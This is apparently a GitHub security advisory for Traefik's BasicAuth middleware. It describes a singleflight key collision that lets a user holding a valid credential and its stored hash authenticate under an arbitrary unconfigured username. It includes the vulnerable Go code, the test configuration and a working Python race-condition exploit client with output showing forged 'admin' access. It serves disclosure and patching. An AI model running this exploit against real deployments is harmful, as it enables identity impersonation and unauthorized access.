Skip to content

Traefik: BasicAuth singleflight key collision allows authenticated identity spoofing

Low severity GitHub Reviewed Published Aug 3, 2026 in traefik/traefik • Updated Aug 6, 2026

Package

gomod github.com/traefik/traefik/v3 (Go)

Affected versions

>= 3.6.11, <= 3.6.24
>= 3.7.0, <= 3.7.9

Patched versions

3.6.25
3.7.10

Description

Summary

There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username — whose secret is empty — can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential and to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path.

Patches

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description

Summary

Traefik's BasicAuth middleware deduplicates concurrent password checks with a
singleflight.Group. Its key is the delimiter-free concatenation
password + secret. For an existing user with password P and stored hash
H, the key is P || H. An unknown user can select the password P || H;
because its secret is the empty string, its key is also P || H.

If the existing user's request starts the shared calculation, the unknown
user receives the existing user's successful Boolean result. Traefik then
continues processing the unknown user's original request and propagates the
attacker-selected username through URL.User, the access log, and the
configured BasicAuth headerField.

A user who knows one valid username/password/hash tuple can therefore
authenticate concurrently under any unconfigured username. This becomes a
privilege escalation when a backend uses the BasicAuth headerField as a
trusted identity, which is the documented purpose of that option.

Details

The vulnerable logic is in
pkg/middlewares/auth/basic_auth.go:118-131:

func (b *basicAuth) checkPassword(user, password string) bool {
	secret := b.auth.Secrets(user, b.auth.Realm)

	key := password + secret
	match, _, _ := b.singleflightGroup.Do(key, func() (any, error) {
		if secret == "" {
			_ = b.checkSecret(password, b.notFoundSecret)
			return false, nil
		}

		return b.checkSecret(password, secret), nil
	})

	return match.(bool)
}

For a configured user viewer:

password = P
secret   = H
key      = P || H
result   = true

For an unconfigured user admin:

password = P || H
secret   = ""
key      = (P || H) || "" = P || H

singleflight.Group.Do shares the first in-flight result for equal keys. If
the configured user's check is first, the unknown user's closure is not run
and the unknown request receives true.

The authorization result is not bound to the username. After the shared
result is accepted, ServeHTTP uses the username parsed from the unknown
request:

req.URL.User = url.User(user)

if b.headerField != "" {
	req.Header.Del(b.headerField)
	req.Header[b.headerField] = []string{user}
}

Consequently, the backend sees the attacker-selected admin identity, not
the valid request's viewer identity.

Attack prerequisites

The attacker needs:

  1. network access to a route protected by the affected BasicAuth middleware;
  2. one valid low-privilege username and password;
  3. the corresponding stored password hash.

The hash is often present in deployment labels or routing configuration.
Traefik's API is also a direct source when the attacker can access it:
GET /api/http/middlewares/{id} serializes basicAuth.users, including the
hash, despite the field carrying loggable:"false". The official v3.7.8
binary returned the hash in the validation environment.

The attacker does not need another user's password or a victim-generated
request. The attacker creates both concurrent requests: one with their valid
credentials and one with an arbitrary, unconfigured target username.

Security impact

When headerField is configured, an authenticated low-privilege user can
impersonate an arbitrary identity to the backend. Depending on downstream
authorization, this can allow:

  • access to administrative data;
  • execution of privileged state-changing operations;
  • corruption of audit attribution;
  • bypass of identity-based tenant or role separation.

Without headerField, the unknown request is still admitted through the
BasicAuth middleware. The practical consequence then depends on whether the
protected route treats all authenticated users equally.

Proof of Concept

Validation environment

  • Official Traefik v3.7.8 Linux amd64 release.
  • Build timestamp: 2026-07-15T12:42:25Z.
  • Go version in the release: go1.26.5.
  • Archive SHA-256:
    dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7.
  • The checksum matched the official
    traefik_v3.7.8_checksums.txt release asset.
  • No Traefik source files were modified.

Dynamic configuration

The bcrypt hash below is for password test and uses cost 12:

http:
  routers:
    app:
      entryPoints:
        - web
      rule: PathPrefix(`/`)
      middlewares:
        - auth
      service: backend

  middlewares:
    auth:
      basicAuth:
        headerField: X-WebAuth-User
        removeHeader: true
        users:
          - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://127.0.0.1:19090

Save it as dynamic.yml. Use this install configuration as static.yml:

global:
  checkNewVersion: false
  sendAnonymousUsage: false

api:
  insecure: true

entryPoints:
  web:
    address: 127.0.0.1:18080

providers:
  file:
    filename: /absolute/path/to/dynamic.yml
    watch: false

The API is enabled only to demonstrate that the runtime representation
exposes the configured hash. It is not needed if the tester already knows the
hash from the configuration.

Use this backend as backend.py; it responds with the identity Traefik puts
in the trusted header:

from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        body = (self.headers.get("X-WebAuth-User", "") + "\n").encode()
        self.send_response(200)
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, *args):
        pass


ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serve_forever()

Start the backend and Traefik in separate shells.

Shell 1:

python3 backend.py

Shell 2:

./traefik --configFile=/absolute/path/to/static.yml

Exploit client

import base64
import http.client
import json
import threading
import time
import urllib.request

HOST = "127.0.0.1"
PORT = 18080
PASSWORD = "test"
HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u."


def request(user, password):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
    token = base64.b64encode(f"{user}:{password}".encode()).decode()
    conn.request("GET", "/", headers={"Authorization": f"Basic {token}"})
    response = conn.getresponse()
    body = response.read().decode().strip()
    status = response.status
    conn.close()
    return status, body


middleware = json.load(
    urllib.request.urlopen(
        "http://127.0.0.1:8080/api/http/middlewares/auth%40file"
    )
)
print("api_users", middleware["basicAuth"]["users"])
print("valid_baseline", request("viewer", PASSWORD))
print("attacker_baseline", request("admin", PASSWORD + HASH))

wins = 0
for _ in range(25):
    valid_result = {}
    valid = threading.Thread(
        target=lambda: valid_result.setdefault(
            "result", request("viewer", PASSWORD)
        )
    )
    valid.start()
    time.sleep(0.005)
    attack = request("admin", PASSWORD + HASH)
    valid.join()
    if attack == (200, "admin"):
        wins += 1

print("forged_admin_successes", wins, "of", 25)

Observed output

api_users ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.']
valid_baseline (200, 'viewer')
attacker_baseline (401, '401 Unauthorized')
forged_admin_successes 25 of 25

The negative control proves that admin is not configured and cannot
authenticate alone. During the collision, all 25 requests were admitted and
the backend received the forged identity admin.

The same behavior was first reproduced with Apache MD5. Its much shorter hash
calculation window yielded 2 successful identity forgeries in 100 attempts.
Using normal production-strength bcrypt made the race deterministic in this
environment because the expensive comparison remains in flight long enough
for the second request to join it.

Impact

An attacker with read access to a configured password hash and the ability to
send concurrent requests can authenticate as an unconfigured username. When
headerField is enabled, the attacker-selected username is forwarded to the
backend as a trusted authenticated identity, enabling privilege impersonation,
unauthorized data access, unauthorized actions, and incorrect security audit
attribution. Without headerField, the request still bypasses BasicAuth and
reaches the protected service.


References

@rtribotte rtribotte published to traefik/traefik Aug 3, 2026
Published to the GitHub Advisory Database Aug 6, 2026
Reviewed Aug 6, 2026
Last updated Aug 6, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(28th percentile)

Weaknesses

Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Learn more on MITRE.

CVE ID

CVE-2026-71326

GHSA ID

GHSA-6765-c87h-8mrf

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.